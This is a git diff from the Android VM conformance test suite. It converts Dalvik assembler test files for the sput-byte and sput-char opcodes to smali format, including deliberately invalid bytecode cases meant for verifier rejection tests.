-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_2.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_2
-.super java/lang/Object
-
-.field public static st_i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 1
-       sput-byte v0, dot.junit.opcodes.sput_byte.d.T_sput_byte_4.st_i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_2.smali
new file mode 100644
index 0000000..cfedf08
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_2.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_2;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       sput-byte v0, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_4;->st_i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_20.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_20.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_20.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_20.smali
new file mode 100644
index 0000000..e5b6813
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_20.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_20;
+.super Ljava/lang/Object;
+.source "T_sput_byte_20.java"
+
+
+# static fields
+.field public static st_o:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    sput-byte p0, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_20;->st_o:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_21.d
deleted file mode 100644
index e643cb9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_21.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_21.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_21
-.super java/lang/Object
-
-.field public static st_s S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 12    
-       sput-byte v0, dot.junit.opcodes.sput_byte.d.T_sput_byte_21.st_s S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_21.smali
new file mode 100644
index 0000000..907768c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_21.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_21.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_21;
+.super  Ljava/lang/Object;
+
+.field public static st_s:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 12    
+       sput-byte v0, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_21;->st_s:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_22.d
deleted file mode 100644
index 7a59d06..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_22.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_22.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_22
-.super java/lang/Object
-
-.field public static st_i I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       sput-byte v0, dot.junit.opcodes.sput_byte.d.T_sput_byte_22.st_i I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_22.smali
new file mode 100644
index 0000000..50d794a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_22.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_22.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_22;
+.super  Ljava/lang/Object;
+
+.field public static st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-byte v0, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_22;->st_i:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_23.d
deleted file mode 100644
index a34f665..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_23.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_23.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_23
-.super java/lang/Object
-
-.field public static st_c C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       sput-byte v0, dot.junit.opcodes.sput_byte.d.T_sput_byte_23.st_c C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_23.smali
new file mode 100644
index 0000000..3a500b6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_23.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_23.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_23;
+.super  Ljava/lang/Object;
+
+.field public static st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-byte v0, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_23;->st_c:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_24.d
deleted file mode 100644
index 07265af..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_24.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_24.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_24
-.super java/lang/Object
-
-.field public static st_z Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       sput-byte v0, dot.junit.opcodes.sput_byte.d.T_sput_byte_24.st_z Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_24.smali
new file mode 100644
index 0000000..c2cc385
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_24.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_24.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_24;
+.super  Ljava/lang/Object;
+
+.field public static st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-byte v0, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_24;->st_z:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_3.d
deleted file mode 100644
index 128d14b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_3.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_3.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_3
-.super java/lang/Object
-
-.field public static st_i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 1
-       sput-byte v0, dot.junit.opcodes.sput_byte.d.T_sput_byte_3.st_i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_3.smali
new file mode 100644
index 0000000..1f07f16
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_3.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_3.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_3;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1
+       sput-byte v0, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_3;->st_i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_4.d
deleted file mode 100644
index fc64b62..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_4.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_4
-.super java/lang/Object
-
-.field public static st_i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sput-byte v3, dot.junit.opcodes.sput_byte.d.T_sput_byte_4.st_i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_4.smali
new file mode 100644
index 0000000..c2d2de5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_4.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_4;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-byte v3, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_4;->st_i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_7.d
deleted file mode 100644
index 8e90c22..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_7.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_7
-.super java/lang/Object
-
-.field public st_i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       sput-byte v1, dot.junit.opcodes.sput_byte.d.T_sput_byte_7.st_i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_7.smali
new file mode 100644
index 0000000..df42410
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_7.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_7;
+.super  Ljava/lang/Object;
+
+.field public st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-byte v1, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_7;->st_i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_8.d
deleted file mode 100644
index f4a000f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_8.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       sput-byte v1, dot.junit.opcodes.sput_byte.TestStubs.TestStubField B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_8.smali
new file mode 100644
index 0000000..a85cdb3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_8.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-byte v1, Ldot/junit/opcodes/sput_byte/TestStubs;->TestStubField:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_9.d
deleted file mode 100644
index 59ecb38..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_9.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_9
-.super java/lang/Object
-
-.field public st_i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       sput-byte v1, dot.junit.opcodes.sput_byte.d.T_sput_byte_9noclass.st_i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_9.smali
new file mode 100644
index 0000000..f6ca1c3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_9.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-byte v1, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_9noclass;->st_i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_1.d
deleted file mode 100644
index 8603349..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_1.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_1.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_1
-.super java/lang/Object
-
-.field public static st_i1 C
-.field protected static st_p1 C
-.field private static st_pvt1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static getPvtField()C
-.limit regs 2
-
-       sget-char v0, dot.junit.opcodes.sput_char.d.T_sput_char_1.st_pvt1 C
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       sput-char v1, dot.junit.opcodes.sput_char.d.T_sput_char_1.st_i1 C
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_1.smali
new file mode 100644
index 0000000..398ca8c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_1.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
